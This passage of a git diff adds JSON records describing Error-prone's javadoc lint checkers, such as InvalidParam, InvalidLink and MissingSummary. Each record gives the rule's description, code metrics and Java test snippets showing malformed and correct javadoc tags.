null, + "expected-linenumbers": [ + 106 + ], + "code": "interface Test {\n /**\n * @deprecated\n */\n int foo();\n }" + }, + { + "description": "removes_emptyParamOnClass", + "expected-problems": null, + "expected-linenumbers": [ + 142 + ], + "code": "/**\n * @param \n */\n interface Test {\n T foo();\n }\n \n\n /** */\n interface Test {\n T foo();\n }" + }, + { + "description": "removes_emptyParamOnClass", + "expected-problems": null, + "expected-linenumbers": [ + 142 + ], + "code": "/**\n * @param \n */\n interface Test {\n T foo();\n }\n \n\n /** */\n interface Test {\n T foo();\n }" + }, + { + "description": "removes_emptyAllTheThings", + "expected-problems": null, + "expected-linenumbers": [ + 166 + ], + "code": "interface Test {\n /**\n * @param p\n * @return\n * @throws Exception\n */\n @Deprecated\n int foo(int p) throws Exception;\n }\n \n\n interface Test {\n /** */\n @Deprecated\n int foo(int p) throws Exception;\n }" + }, + { + "description": "keeps_paramWithDescription", + "expected-problems": null, + "expected-linenumbers": [ + 194 + ], + "code": "interface Test {\n /**\n * @param p is important\n */\n void foo(int p);\n }" + }, + { + "description": "keeps_throwsWithDescription", + "expected-problems": null, + "expected-linenumbers": [ + 210 + ], + "code": "interface Test {\n /**\n * @throws Exception because blah\n */\n void foo() throws Exception;\n }" + }, + { + "description": "keeps_returnWithDescription", + "expected-problems": null, + "expected-linenumbers": [ + 226 + ], + "code": "interface Test {\n /**\n * @return A value\n */\n int foo();\n }" + }, + { + "description": "keeps_deprecatedWithDescription", + "expected-problems": null, + "expected-linenumbers": [ + 242 + ], + "code": "interface Test {\n /**\n * @deprecated Very old\n */\n @Deprecated\n void foo();\n }" + }, + { + "description": "keeps_allTheThingsWithDescriptions", + "expected-problems": null, + "expected-linenumbers": [ + 259 + ], + "code": "interface Test {\n /**\n * @param p is important\n * @return a value\n * @throws Exception because\n * @deprecated Very old\n */\n @Deprecated\n int foo(int p) throws Exception;\n }" + }, + { + "description": "keeps_deprecatedOnClass", + "expected-problems": null, + "expected-linenumbers": [ + 279 + ], + "code": "/**\n * @deprecated Use other Test2 instead\n */\n @Deprecated\n interface Test {\n void foo();\n }" + }, + { + "description": "keeps_paramOnClass", + "expected-problems": null, + "expected-linenumbers": [ + 296 + ], + "code": "/**\n * @param the input type param\n */\n interface Test {\n T foo();\n }" + }, + { + "description": "keeps_whenSuppressed", + "expected-problems": null, + "expected-linenumbers": [ + 312 + ], + "code": "interface Test {\n /**\n * @param p\n */\n @SuppressWarnings(\"EmptyBlockTag\")\n void foo(int p);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/EscapedEntity.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/EscapedEntity.json new file mode 100644 index 0000000..f8aebd7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/EscapedEntity.json @@ -0,0 +1,46 @@ +{ + "name": "EscapedEntity", + "language": "java", + "description": "HTML entities in @code/@literal tags will appear literally in the rendered javadoc.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 83, + "branches": 3, + "apis": 3, + "test": [ + { + "description": "positive_decimalEscape", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "// BUG: Diagnostic contains:\n /** {@code @Override} */\n interface Test {}" + }, + { + "description": "positive_hexEscape", + "expected-problems": null, + "expected-linenumbers": [ + 43 + ], + "code": "// BUG: Diagnostic contains:\n /** {@code ROverride} */\n interface Test {}" + }, + { + "description": "positive_characterReferemce", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "// BUG: Diagnostic contains:\n /** {@code A & B} */\n interface Test {}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "/**\n *\n *\n *
 @Override 
\n */\n interface Test {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InheritDoc.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InheritDoc.json new file mode 100644 index 0000000..201f702 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InheritDoc.json @@ -0,0 +1,54 @@ +{ + "name": "InheritDoc", + "language": "java", + "description": "Invalid use of @inheritDoc.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 114, + "branches": 4, + "apis": 3, + "test": [ + { + "description": "nonOverridingMethod", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n // BUG: Diagnostic contains: InheritDoc\n /** {@inheritDoc} */\n void test() {}\n }" + }, + { + "description": "overridingMethod", + "expected-problems": null, + "expected-linenumbers": [ + 45 + ], + "code": "class Test {\n /** {@inheritDoc} */\n @Override\n public boolean equals(Object o) {\n return true;\n }\n }" + }, + { + "description": "nonOverridingClass", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "// BUG: Diagnostic contains: InheritDoc\n /** {@inheritDoc} */\n class Test {}" + }, + { + "description": "overridingClass", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "/** {@inheritDoc} */\n class Test extends java.util.ArrayList {}" + }, + { + "description": "variable", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "class Test {\n // BUG: Diagnostic contains: InheritDoc\n /** {@inheritDoc} */\n private static final int a = 1;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidBlockTag.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidBlockTag.json new file mode 100644 index 0000000..1f60001 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidBlockTag.json @@ -0,0 +1,78 @@ +{ + "name": "InvalidBlockTag", + "language": "java", + "description": "This tag is invalid.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 258, + "branches": 19, + "apis": 5, + "test": [ + { + "description": "typo", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "interface Test {\n /**\n * @returns anything\n */\n void foo();\n }\n \n\n interface Test {\n /**\n * @return anything\n */\n void foo();\n }" + }, + { + "description": "veryBadTypo_noSuggestion", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "interface Test {\n /**\n * @returnFnargleBlargle anything\n */\n void foo();\n }" + }, + { + "description": "otherAcceptedTags", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "class Test {\n /** @hide */\n void test() {}\n }" + }, + { + "description": "parameterBlockTag", + "expected-problems": null, + "expected-linenumbers": [ + 137 + ], + "code": "interface Test {\n /**\n * @a blah\n */\n void foo(int a);\n }\n \n\n interface Test {\n /**\n * @param a blah\n */\n void foo(int a);\n }" + }, + { + "description": "parameterBlockTag", + "expected-problems": null, + "expected-linenumbers": [ + 137 + ], + "code": "interface Test {\n /**\n * @a blah\n */\n void foo(int a);\n }\n \n\n interface Test {\n /**\n * @param a blah\n */\n void foo(int a);\n }" + }, + { + "description": "inheritDoc", + "expected-problems": null, + "expected-linenumbers": [ + 181 + ], + "code": "interface Test {\n /**\n * @inheritDoc\n */\n void frobnicate(String foo);\n }\n \n\n interface Test {\n /** {@inheritDoc} */\n void frobnicate(String foo);\n }" + }, + { + "description": "inheritDoc", + "expected-problems": null, + "expected-linenumbers": [ + 181 + ], + "code": "interface Test {\n /**\n * @inheritDoc\n */\n void frobnicate(String foo);\n }\n \n\n interface Test {\n /** {@inheritDoc} */\n void frobnicate(String foo);\n }" + }, + { + "description": "java8Tags", + "expected-problems": null, + "expected-linenumbers": [ + 205 + ], + "code": "/**\n * @apiNote does nothing\n * @implNote not implemented\n */\n class Test {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidInlineTag.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidInlineTag.json new file mode 100644 index 0000000..f8c5cb4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidInlineTag.json @@ -0,0 +1,110 @@ +{ + "name": "InvalidInlineTag", + "language": "java", + "description": "This tag is invalid.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 362, + "branches": 28, + "apis": 7, + "test": [ + { + "description": "typo", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "interface Test {\n /**\n * @return anything {@lnk #foo}\n */\n void foo();\n }\n \n\n interface Test {\n /**\n * @return anything {@link #foo}\n */\n void foo();\n }" + }, + { + "description": "outsideEditDistanceLimit", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "class Test {\n // BUG: Diagnostic contains:\n /** {@SoFarOutsideEditLimit} */\n void test() {}\n }" + }, + { + "description": "isAType", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "interface SomeType {\n /** {@SomeType} {@com.google.common.labs.ClearlyAType} */\n void foo();\n }\n \n\n interface SomeType {\n /** {@link SomeType} {@link com.google.common.labs.ClearlyAType} */\n void foo();\n }" + }, + { + "description": "isAQualifiedType", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "interface SomeType {\n /** {@SomeType.A} */\n void foo();\n\n interface A {}\n }\n \n\n interface SomeType {\n /** {@link SomeType.A} */\n void foo();\n\n interface A {}\n }" + }, + { + "description": "parameterInlineTag", + "expected-problems": null, + "expected-linenumbers": [ + 126 + ], + "code": "interface Test {\n /** Provide an {@a} */\n void foo(int a);\n }\n \n\n interface Test {\n /** Provide an {@code a} */\n void foo(int a);\n }" + }, + { + "description": "improperParam", + "expected-problems": null, + "expected-linenumbers": [ + 148 + ], + "code": "interface Test {\n /** Blah {@param a}, {@param b} */\n void foo(int a);\n }\n \n\n interface Test {\n /** Blah {@code a}, {@param b} */\n void foo(int a);\n }" + }, + { + "description": "inlineParam", + "expected-problems": null, + "expected-linenumbers": [ + 170 + ], + "code": "interface Test {\n // BUG: Diagnostic contains:\n /** Frobnicates a @param foo. */\n void frobnicate(String foo);\n }" + }, + { + "description": "inlineParamIncorrectlyWrapped", + "expected-problems": null, + "expected-linenumbers": [ + 185 + ], + "code": "interface Test {\n /** Frobnicates a @code{foo}. */\n void frobnicate(String foo);\n }\n \n\n interface Test {\n /** Frobnicates a {@code foo}. */\n void frobnicate(String foo);\n }" + }, + { + "description": "parensRatherThanCurliesRefactoring", + "expected-problems": null, + "expected-linenumbers": [ + 222 + ], + "code": "interface Test {\n /** Frobnicates a (@code foo). */\n void frobnicate(String foo);\n }\n \n\n interface Test {\n /** Frobnicates a {@code foo}. */\n void frobnicate(String foo);\n }" + }, + { + "description": "parensRatherThanCurly_matchesBraces", + "expected-problems": null, + "expected-linenumbers": [ + 244 + ], + "code": "interface Test {\n /** Frobnicates a (@link #foo()). */\n void frobnicate(String foo);\n }\n \n\n interface Test {\n /** Frobnicates a {@link #foo()}. */\n void frobnicate(String foo);\n }" + }, + { + "description": "erroneousTag_doesNotMungeEntireJavadoc", + "expected-problems": null, + "expected-linenumbers": [ + 266 + ], + "code": "interface Test {\n /**\n * Frobnicates a {@code foo).\n * @param foo {@link #foo}\n */\n void frobnicate(String foo);\n }" + }, + { + "description": "invalidTagMessage", + "expected-problems": null, + "expected-linenumbers": [ + 284 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidLink.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidLink.json new file mode 100644 index 0000000..8a94b05 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidLink.json @@ -0,0 +1,102 @@ +{ + "name": "InvalidLink", + "language": "java", + "description": "This @link tag looks wrong.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 199, + "branches": 20, + "apis": 10, + "test": [ + { + "description": "httpLink", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "interface Test {\n /** {@link https://foo/bar/baz} */\n void foo();\n }\n \n\n interface Test {\n /** link */\n void foo();\n }" + }, + { + "description": "httpLink_lineBreak", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "interface Test {\n /** {@link https://foo/bar/baz foo} */\n void foo();\n }\n \n\n interface Test {\n /** foo */\n void foo();\n }" + }, + { + "description": "badMethodLink", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "interface Test {\n // BUG: Diagnostic contains: The reference `#bar()` to a method doesn't resolve\n /** {@link #bar()} */\n void foo();\n }" + }, + { + "description": "badMethodLink_erasureHint", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "interface Test {\n // BUG: Diagnostic contains: erasure\n /** {@link #bar(Test)} */\n void foo(Test foo);\n }" + }, + { + "description": "validLinks", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "import java.util.List;\n\ninterface Test {\n /** {@link Test} {@link List} {@link IllegalArgumentException} {@link #foo} {@link #foo()} */\n void foo();\n}" + }, + { + "description": "dontComplainAboutFullyQualified", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "/** {@link i.dont.exist.B#foo} */\n interface A {}" + }, + { + "description": "shouldBeMethodLink", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "/** {@link frobnicate} */\n interface A {}\n \n\n /** {@link #frobnicate} */\n interface A {}" + }, + { + "description": "shouldBeParameterReference", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "class Test {\n /** Pass in a {@link bar} */\n void foo(String bar) {}\n }\n \n\n class Test {\n /** Pass in a {@code bar} */\n void foo(String bar) {}\n }" + }, + { + "description": "multiField", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "@interface Param {\n String name() default \"\";\n }\n \n\n @interface Test {\n /** Pass in a {@link Tuple} */\n Param extraPositionals() default @Param(name = \"\");\n }" + }, + { + "description": "emptyLinkTest", + "expected-problems": null, + "expected-linenumbers": [ + 200 + ], + "code": "interface Test {\n /** {@link} */\n void foo();\n }" + }, + { + "description": "markdown", + "expected-problems": null, + "expected-linenumbers": [ + 214 + ], + "code": "public class Test {\n /// Hello [bar]\n // BUG: Diagnostic contains: `bar` is a parameter\n static void foo(int bar) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidParam.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidParam.json new file mode 100644 index 0000000..7197fd9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidParam.json @@ -0,0 +1,118 @@ +{ + "name": "InvalidParam", + "language": "java", + "description": "This @param tag doesn't refer to a parameter of the method.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 220, + "branches": 17, + "apis": 5, + "test": [ + { + "description": "badParameterName_positioning", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "interface Test {\n /**\n * @param baz // BUG: Diagnostic contains: Parameter name `c` is unknown\n * @param c foo\n * @param b bar\n */\n void foo(int a, int b);\n }" + }, + { + "description": "badColon", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "interface Test {\n /**\n * @param c: foo\n */\n void foo(int c);\n }\n \n\n interface Test {\n /**\n * @param c foo\n */\n void foo(int c);\n }" + }, + { + "description": "badParameterName", + "expected-problems": null, + "expected-linenumbers": [ + 80 + ], + "code": "interface Test {\n /**\n * @param baz\n * @param c foo\n * @param b bar\n */\n void foo(int a, int b);\n }\n \n\n interface Test {\n /**\n * @param baz\n * @param a foo\n * @param b bar\n */\n void foo(int a, int b);\n }" + }, + { + "description": "badTypeParameterName", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "interface Test {\n /**\n * @param baz\n * @param a bar\n */\n void foo(int a);\n }\n \n\n interface Test {\n /**\n * @param baz\n * @param a bar\n */\n void foo(int a);\n }" + }, + { + "description": "verySimilarCodeParam", + "expected-problems": null, + "expected-linenumbers": [ + 138 + ], + "code": "interface Test {\n /** {@code foabar}, {@code barfoo} */\n void foo(int foobar);\n }\n \n\n interface Test {\n /** {@code foobar}, {@code barfoo} */\n void foo(int foobar);\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "interface Test {\n /**\n * Frobnicates a {@code foobarbaz}.\n *\n * @param baz\n * @param a bar\n * @param b quux\n */\n void foo(int a, int b, int foobarbaz);\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 179 + ], + "code": "interface Test {\n /**\n * Frobnicates a {@code foobarbaz}.\n *\n * @param baz\n * @param a bar\n * @param b quux\n */\n void foo(int a, int b, int foobarbaz);\n }" + }, + { + "description": "excludedName_noMatchDespiteSimilarParam", + "expected-problems": null, + "expected-linenumbers": [ + 199 + ], + "code": "interface Test {\n /** Returns {@code true}. */\n boolean foo(int tree);\n }" + }, + { + "description": "negative_record", + "expected-problems": null, + "expected-linenumbers": [ + 213 + ], + "code": "/**\n * @param name Name.\n */\n public record Test(String name) {}" + }, + { + "description": "compactConstructor_record", + "expected-problems": null, + "expected-linenumbers": [ + 299 + ], + "code": "/**\n * @param name Name.\n */\n public record Test(String name) {\n public Test {}\n }" + }, + { + "description": "compactConstructor_record", + "expected-problems": null, + "expected-linenumbers": [ + 299 + ], + "code": "/**\n * @param name Name.\n */\n public record Test(String name) {\n public Test {}\n }" + }, + { + "description": "compactConstructor_record", + "expected-problems": null, + "expected-linenumbers": [ + 299 + ], + "code": "/**\n * @param name Name.\n */\n public record Test(String name) {\n public Test {}\n }" + }, + { + "description": "compactConstructor_record", + "expected-problems": null, + "expected-linenumbers": [ + 299 + ], + "code": "/**\n * @param name Name.\n */\n public record Test(String name) {\n public Test {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidSnippet.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidSnippet.json new file mode 100644 index 0000000..cdd2ab6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidSnippet.json @@ -0,0 +1,30 @@ +{ + "name": "InvalidSnippet", + "language": "java", + "description": "This tag is invalid.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 87, + "branches": 5, + "apis": 3, + "test": [ + { + "description": "snippetWithoutBody_butWithFile", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "/**\n *\n *\n * {@snippet file=\"foo.java\"}\n */\n interface Test {}" + }, + { + "description": "snippetWithColon", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "/**\n *\n *\n * {@snippet :\n * I have a colon\n * }\n */\n interface Test {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidThrows.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidThrows.json new file mode 100644 index 0000000..f185c77 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidThrows.json @@ -0,0 +1,46 @@ +{ + "name": "InvalidThrows", + "language": "java", + "description": "The documented method doesn't actually throw this checked exception.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 84, + "branches": 5, + "apis": 4, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.io.IOException;\n\n interface Test {\n /**\n * @throws IOException when failed\n */\n void foo(int a, int b);\n }\n \n\n import java.io.IOException;\n\n interface Test {\n /** */\n void foo(int a, int b);\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "import java.io.IOException;\n\n interface Test {\n /**\n * @throws IOException when failed\n */\n void bar(int a, int b) throws IOException;\n\n /**\n * @throws IOException when failed\n */\n void baz(int a, int b) throws Exception;\n }" + }, + { + "description": "unrecognisedException_noComplaint", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "interface Test {\n /**\n * @throws com.google.UnknownRuntimeException when failed\n */\n void bar(int a, int b);\n }" + }, + { + "description": "throwsInvalidType", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "interface Test {\n /**\n * @throws bar when failed\n */\n void foo();\n\n void bar();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidThrowsLink.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidThrowsLink.json new file mode 100644 index 0000000..154b6b5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/InvalidThrowsLink.json @@ -0,0 +1,30 @@ +{ + "name": "InvalidThrowsLink", + "language": "java", + "description": "Javadoc links to exceptions in @throws without a @link tag (@throws Exception, not @throws {@link Exception}).", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 74, + "branches": 3, + "apis": 3, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "import java.io.IOException;\n\n interface Test {\n /**\n * @throws {@link IOException} when failed\n */\n void foo(int a, int b) throws IOException;\n }\n \n\n import java.io.IOException;\n\n interface Test {\n /**\n * @throws IOException when failed\n */\n void foo(int a, int b) throws IOException;\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "import java.io.IOException;\n\n interface Test {\n /**\n * @throws IOException when failed\n */\n void foo(int a, int b) throws IOException;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/MalformedInlineTag.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/MalformedInlineTag.json new file mode 100644 index 0000000..8ded769 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/MalformedInlineTag.json @@ -0,0 +1,54 @@ +{ + "name": "MalformedInlineTag", + "language": "java", + "description": "This Javadoc tag is malformed. The correct syntax is {@tag and not @{tag.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positive_allInlineTags", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "/**\n * Here are a list of malformed tags: @{code code} @{docRoot} @{inheritDoc} @{link Test} @{linkplain\n * Test} @{literal literal} @{value Test}\n */\nclass Test {}\n\n\n/**\n * Here are a list of malformed tags: {@code code} {@docRoot} {@inheritDoc} {@link Test} {@linkplain\n * Test} {@literal literal} {@value Test}\n */\nclass Test {}" + }, + { + "description": "positive_withinTag", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "class Test {\n /**\n * Add one to value.\n *\n * @param x an @{code int} value to increment\n * @return @{code x} + 1\n */\n int addOne(int x) {\n return x + 1;\n }\n }\n \n\n class Test {\n /**\n * Add one to value.\n *\n * @param x an {@code int} value to increment\n * @return {@code x} + 1\n */\n int addOne(int x) {\n return x + 1;\n }\n }" + }, + { + "description": "positive_atLineEnd", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "/** This malformed tag spans @{code multiple lines}. */\n class Test {}\n \n\n /** This malformed tag spans {@code multiple lines}. */\n class Test {}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "/** A correct {@link Test} tag in text. */\n class Test {}" + }, + { + "description": "negative_invalidTag", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "/** This @{case} is not a known Javadoc tag. Ignore. */\n class Test {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/MissingSummary.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/MissingSummary.json new file mode 100644 index 0000000..70a31d3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/MissingSummary.json @@ -0,0 +1,118 @@ +{ + "name": "MissingSummary", + "language": "java", + "description": "A summary line is required on public/protected Javadocs.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 185, + "branches": 17, + "apis": 1, + "test": [ + { + "description": "replaceReturn", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "interface Test {\n /**\n * @param n foo\n * @return n\n */\n int test(int n);\n }\n \n\n interface Test {\n /**\n * Returns n.\n *\n * @param n foo\n */\n int test(int n);\n }" + }, + { + "description": "replaceSee", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "interface Test {\n /**\n * @param n foo\n * @see List other impl\n */\n void test(int n);\n\n /**\n * @param n foo\n * @see List\n */\n void test2(int n);\n }\n \n\n interface Test {\n /**\n * See {@link List other impl}.\n *\n * @param n foo\n */\n void test(int n);\n\n /**\n * See {@link List}.\n *\n * @param n foo\n */\n void test2(int n);\n }" + }, + { + "description": "privateCase", + "expected-problems": null, + "expected-linenumbers": [ + 125 + ], + "code": "class Test {\n /**\n * @throws IllegalStateException\n */\n private void test() {}\n }" + }, + { + "description": "privateCase", + "expected-problems": null, + "expected-linenumbers": [ + 125 + ], + "code": "class Test {\n /**\n * @throws IllegalStateException\n */\n private void test() {}\n }" + }, + { + "description": "effectivelyPrivateCase", + "expected-problems": null, + "expected-linenumbers": [ + 141 + ], + "code": "class Test {\n private class Inner {\n /**\n * @throws IllegalStateException\n */\n public void test() {}\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 159 + ], + "code": "interface Test {\n /**\n * Summary line!\n *\n * @return n\n */\n int test();\n }" + }, + { + "description": "negativeAnnotations", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "class Test {\n /**\n * @param o thing to compare\n */\n @Override\n public boolean equals(Object o) {\n return true;\n }\n\n /**\n * @deprecated use something else\n */\n @Deprecated\n public void frobnicate() {}\n }" + }, + { + "description": "negativeConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 202 + ], + "code": "class Test {\n /**\n * @param o thing to compare\n */\n public Test(Object o) {}\n }" + }, + { + "description": "negativePrivate", + "expected-problems": null, + "expected-linenumbers": [ + 218 + ], + "code": "class Test {\n /**\n * @param o thing to compare\n */\n private Test(Object o) {}\n }" + }, + { + "description": "negativeOverride", + "expected-problems": null, + "expected-linenumbers": [ + 234 + ], + "code": "class Test implements java.util.function.Predicate {\n /**\n * @param o thing to compare\n */\n public boolean test(Object o) {\n return false;\n }\n }" + }, + { + "description": "emptyComment", + "expected-problems": null, + "expected-linenumbers": [ + 282 + ], + "code": "package test;\n\n /** */\n // BUG: Diagnostic contains: summary line is required\n public class Test {}" + }, + { + "description": "emptyComment", + "expected-problems": null, + "expected-linenumbers": [ + 282 + ], + "code": "package test;\n\n /** */\n // BUG: Diagnostic contains: summary line is required\n public class Test {}" + }, + { + "description": "emptyComment", + "expected-problems": null, + "expected-linenumbers": [ + 282 + ], + "code": "package test;\n\n /** */\n // BUG: Diagnostic contains: summary line is required\n public class Test {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/NotJavadoc.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/NotJavadoc.json new file mode 100644 index 0000000..1ea47bd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/NotJavadoc.json @@ -0,0 +1,86 @@ +{ + "name": "NotJavadoc", + "language": "java", + "description": "Avoid using `/**` for comments which aren't actually Javadoc.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 72, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "notJavadoc", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n void test() {\n /** Not Javadoc. */\n }\n }\n \n\n class Test {\n void test() {\n /* Not Javadoc. */\n }\n }" + }, + { + "description": "doubleJavadoc", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "" + }, + { + "description": "notJavadocOnLocalClass", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "class Test {\n void test() {\n /** Not Javadoc. */\n class A {}\n }\n }\n \n\n class Test {\n void test() {\n /* Not Javadoc. */\n class A {}\n }\n }" + }, + { + "description": "notJavadocWithLotsOfAsterisks", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "class Test {\n void test() {\n /******** Not Javadoc. */\n class A {}\n }\n }\n \n\n class Test {\n void test() {\n /* Not Javadoc. */\n class A {}\n }\n }" + }, + { + "description": "actuallyJavadoc", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "class Test {\n /** Not Javadoc. */\n void test() {}\n }" + }, + { + "description": "strangeComment", + "expected-problems": null, + "expected-linenumbers": [ + 138 + ], + "code": "class Test {\n void test() {\n /**/\n }\n }" + }, + { + "description": "packageLevel", + "expected-problems": null, + "expected-linenumbers": [ + 154 + ], + "code": "/** Package javadoc */\n package foo;" + }, + { + "description": "moduleLevel", + "expected-problems": null, + "expected-linenumbers": [ + 167 + ], + "code": "/** Module javadoc */\n module foo {}" + }, + { + "description": "suppression", + "expected-problems": null, + "expected-linenumbers": [ + 180 + ], + "code": "class Test {\n @SuppressWarnings(\"NotJavadoc\")\n void test() {\n /** Not Javadoc. 